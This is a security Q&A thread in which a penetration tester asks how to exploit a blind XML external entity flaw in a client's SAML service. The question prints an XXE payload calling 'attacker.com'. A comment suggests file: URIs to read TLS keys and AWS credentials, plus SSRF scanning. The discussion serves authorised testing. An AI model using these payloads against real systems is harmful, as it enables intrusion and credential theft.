I've found a blind Xml External Entity (XXE) attack against a SAML infrastructure while on a client engagement but it has been giving me fits trying to exploit it earlier. I can construct a simple XXE:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>

    <!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY % xxe SYSTEM "http://attacker.com/">%xxe;

and I get the http connect from their server but anything more complicated like fetching a DTD from me and running it gets nothing. I can see the fetch of the DTD but then the DTD request ( a simple call back to my server) doesn't execute. So after banging my head against a wall for three days I thought I'd ask the community if they had any clever tricks with XXE or any attack paths when attacks are limited.

  • Do you see the failed XML doc (i.e. does the server bounce the HTTP response back to you, complaining that it isn't valid XML)? If so, you'll usually have a lot more fun using the file: URI scheme to do things like grab server configs, TLS private keys, AWS creds, etc.). If not - if the attack is blind - you can still try using it to perform a network scan for HTTP(S) listeners on the server or within its LAN, and see if any of them do something unfortunate if poked with a GET request (or try generating a more-advanced SSRF).
    – CBHacking
    Jun 7, 2018 at 1:10
  • I should have been more clear that it is a blind XXE, I'll edit the question. It looks like that's what I'll have to use it for is SSRF and as a scanner. Though a blind scanner won't get you much other than a confirmation a port is open. Sadly the service it sits on is mostly POST requests so SSRF may be out as well.
    – staticFlow
    Jun 7, 2018 at 1:22

1 Answer 1


As with anything in this field more research never hurts!

I tried a payload found here https://gist.github.com/staaldraad/01415b990939494879b4 which didn't work originally but then I realized the implementation required actual valid xml tags at the end that the examples did not have!

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